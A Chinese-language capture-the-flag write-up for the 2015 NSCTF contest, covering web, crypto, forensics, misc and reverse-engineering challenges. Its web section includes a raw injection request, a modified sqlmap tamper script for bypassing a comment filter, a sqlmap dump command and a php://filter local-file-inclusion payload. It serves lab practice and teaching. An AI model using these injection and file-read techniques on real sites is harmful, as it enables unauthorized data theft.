【Writeup】2015NSCTF
web:
be careful:
發現有跳轉,php跳轉至html,flag在php頁面,BP是神器。
decode:
解密指令碼如下:
functiondecode($str){ $_ =base64_decode(strrev(str_rot13($str))); for($_0=0;$_0<strlen($_);$_0++){ $_c= substr($_,$_0,1); $__= ord($_c)-1; $_c= chr($__); $_o= $_o.$_c; } returnstrrev($_o); }
解密後獲得flag
Brute force:
有個password.txt檔案,將其當作字典,用BP進行爆破,最後出來的結果nsF0cuS,進入後,說flag不在這裡,看cookie,base64解碼後跳轉到新的網頁——留言版,要以小黑的身份留言,修改cookie islogin 值為1 ,修改發言人等級 userlevel為root 成功留言,獲得flag
javascript:
根據題目提示,考察點為js,檢視原始碼發現check.js分析後獲得G0od!JAVA3C41PTISAGO 1pt_Pa4sW0rd_K3y_H3re //~~~填入後獲得新地址06/Ch3ck_Au7h.php發現開啟後都是error,根據檔名猜測是一個驗證指令碼,應該是驗證使用者名稱密碼的,遂用GET方式傳輸引數uname=G0od!JAVA3C41PTISAGO upass=1pt_Pa4sW0rd_K3y_H3re獲得flag
sqli:
有filtername引數,初步分析該引數對提交的username中的字元進行過濾,填什麼字元,過濾什麼字元。輸入’,被轉義,輸入%27仍舊被轉義,輸入%25%27,成功繞過。輸入空格字元,會提示有sql注入,使用/*xx*/替換空格,仍然提示。利用filtername對/*xx*/進行構造,改造成為/ww*xxx*ww/,filtername=ww*xxx*ww/,成功繞過。
資料包為:
POST/fa81bb665474f11c025b5355582af315/web/12/index.php HTTP/1.1 Host: www.nsctf.net:8000 Cache-Control: max-age=0 Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Origin: http://www.nsctf.net:8000 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.93Safari/537.36 Referer:http://www.nsctf.net:8000/fa81bb665474f11c025b5355582af315/web/12/index.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.8 Content-Type:application/x-www-form-urlencoded Content-Length: 110 username=admi%&filtername=ww&Submit=%e6%8f%90%e4%ba%a4
需要對space2comment進行改造:
程式碼如下:
#!/usr/bin/env python
"""
Copyright (c) 2006-2014 sqlmap developers(http://sqlmap.org/)
See the file 'doc/COPYING' for copyingpermission
"""
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Replaces space character (' ') with comments '/**/'
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Notes:
* Useful to bypass weak and bespoke web application firewalls
>>> tamper('SELECT id FROM users')
'SELECT/ww**ww/id/ww**/FROM/ww**ww/users'
"""
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal +="/ww**ww/"
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == " " and not doublequote and not quote:
retVal += "/ww**ww/"
continue
retVal += payload[i]
return retVal
使用sql跑出flag。
python sqlmap.py -r req.txt -p username--tamper=space2comment,chardoubleencode --string="admin" -D dbs -T flag --dump
LFI:
php://filter/read=convert.base64-encode/resource=index.php 獲得base64編碼的網頁原始檔,base64解碼後獲得flag
changepassword:
比較坑的題目啊! 備份檔名為.index.php.swp 程式碼審計後,提供id,pass,password序列化,其中 id為1,pass和password均為20150923oldpass 20150923 newpass 20150923(id這個坑,坑我了好久啊好久啊好久啊好久啊好久啊好久啊,後來沒辦法試了下1,結果就過第一個判斷了。。)
File Upload:
截斷上傳成功,伺服器識別上傳檔案後刪除,於是寫個指令碼迴圈上傳,一開始由於檔案太小,伺服器刪的太快,無法形成穩定連結,於是開20個執行緒進行連線。。 還是不行,最後把檔案搞到60多KB,終於可以了。。 連線上後還以為可以看原始碼了。,特麼直接給flag。
crypto:
神奇的字串:
aes解密,無密碼,網址:http://encode.chahuo.com/
神奇的圖片:
(這尼瑪是取證好麼,怎麼歸到密碼裡面了,弱弱的吐槽下)
老套路先Binwalk一下。
神馬都沒有?
看下圖片
我怎麼隱約可見一枚萌萌噠的二維碼。。。(難道是我視力太好?)上神器
在綠色通道最低位發現被反色的二維碼。。
很簡單。。 發現一個神奇的方法,QQ截圖,然後選中。。
二維碼出現,掃一下就好。Flag拿到手。
神奇的圖片+10086:
Binwalk分析。。。
這麼多張圖片,你家裡人知道嗎。。
Ddif=oddpic.JPG skip=158792 bs=1 of=1.jpg
第一張圖就是
MISC:
Twitter:
翻牆,找到twitter.com/nsctf 把裡面的md5 fc42aa2046ed6e90cab82b1094b19adb解密,nsfocus666,拼接成最終的flag
WireShark:
搜尋http包,發現關鍵資料包
還原網頁檔案
還原出key.rar檔案
製作字典,用軟體爆破即可,大概用了1個多小時就爆破出了密碼,獲得flag。
小綠的女神:
大致分析了下,先消費了1.8然後將檔案dump下來,對比之前的檔案
發現有兩處不同:
簡單分析了下
0xc0處為剩餘的錢數,緊跟的後面四個位元組為該數值取反。再後面8個位元組為重複。
0x40處為已經用掉的錢數。同樣後面4位元組為該數值取反。再後面8位元組為重複。
第一次修改0x40和0xc0處資料,提交後不成功,糾結2個小時後,發現該處資料(如下圖)
0x80 數值為10000,這不是總錢數麼。猜測校驗公式為:總錢數=用掉的錢數+現有的錢數。
接下來的工作就好辦了。只要讓現有的錢數為208,滿足以上公式即可。成功獲得flag。
Reverse:
Reverse01:
加殼了。。
進OD動態分析。
使用esp定律脫殼。
搜尋字串得到
將該flag提交,可嘆我太傻太天真。。
繼續分析。。。
用jmp強行跳過判斷
往下
可以看到當暫存器edi值為3時進行跳轉。。
強行進入該判斷
得到flag:
爆破有時候也挺好用的~
Reverse02:
沒加殼。。直接搜尋字串
跳轉到字串所在位置。
這個和re1好像哇。。 於是機智的我幹了這麼一件事。。
設定008F1000為新的EIP
於是。。flag就直接出來了。。
Reverse04:
用uncompyle2反編譯,出錯。
使用unpyclib對其進行反彙編
用16進位制編輯器對二進位制檔案進行修改,去掉兩個nop。並修改長度
繼續報錯,繼續分析
懷疑是工具問題。
得到一部分程式碼
#!/usr/bin/env python
# encoding: utf-8
# 訪問http://tool.lu/pyc/ 檢視更多資訊
data = "M,\x1d-\x18}E'\x1ezN~\x1b*\x19+\x12%\x1d-" + 'I\x7fM(I{I\x7fJ.\x16wWcRj\x0e6\x0fn' + ' Zo\nn\x0fk\t1R7\x03g\x067\x00eUb\x043'+ ' \x014\x071Rr\x14x\x19~D?q"a5s,A%' + "\x10'\x11uLyA%\x1d|DrFv\x12t\x11#B&" + 'GsKzK*O)\x1c%GuC>\x1e\x7f\x1b+\x19*'+ ' \x1e&\x14-\x1f/\[email protected]}' + ' \x1b,MuBp\x12'
import os
import sys
import struct
import cStringIO
import string
import dis
import marshal
import types
import random
count = 0
def reverse(string):
return string[::-1]
data_list = list(reverse(data)[1:])
def decrpyt(c, key2):
global count
data_list[count] = c ^ key2
count += 1
def GetFlag1():
key= struct.unpack('B', data[len(data) - 8])[0]
for c in data_list:
if count == 0:
decrpyt(struct.unpack('B', c)[0], key)
continue
key = struct.unpack('B', data[len(data) - 3])[0]
decrpyt(struct.unpack('B', c)[0], key)
for c in data_list[::-1]:
print chr(c),
def GetFlag2():
key = struct.unpack('B', data[len(data) - 11])[0]
for c in data_list:
if count == 0:
decrpyt(struct.unpack('B', c)[0], key)
continue
key = struct.unpack('B', data[len(data) - 4 - count])[0]
decrpyt(struct.unpack('B', c)[0], key)
for c in data_list[::-1]:
print chr(c),
def GetFlag3():
key = struct.unpack('B', data[len(data) - 5])[0]
for c in data_list:
if count == 0:
decrpyt(struct.unpack('B', c)[0], key)
continue
key = struct.unpack('B', data[len(data) - 2 - count])[0]
decrpyt(struct.unpack('B', c)[0], key)
for c in data_list[::-1]:
print chr(c),
def GetFlag4():
global count
key = struct.unpack('B', data[len(data) - 1])[0]
for c in data_list:
if count == 0:
decrpyt(struct.unpack('B', c)[0], key)
continue
key = struct.unpack('B', data[len(data) - 1- count])[0]
decrpyt(struct.unpack('B', c)[0], key)
count = 0
for c in data_list[::-1]:
print chr(c),
def GetFlag5():
pass
# WARNING: Decompyle incomplete
GetFlag1()
修改程式碼,將GetFlag2()、GetFlag3()、GetFlag4()函式都呼叫,flag在GetFlag4()函式所打印出來的字串內。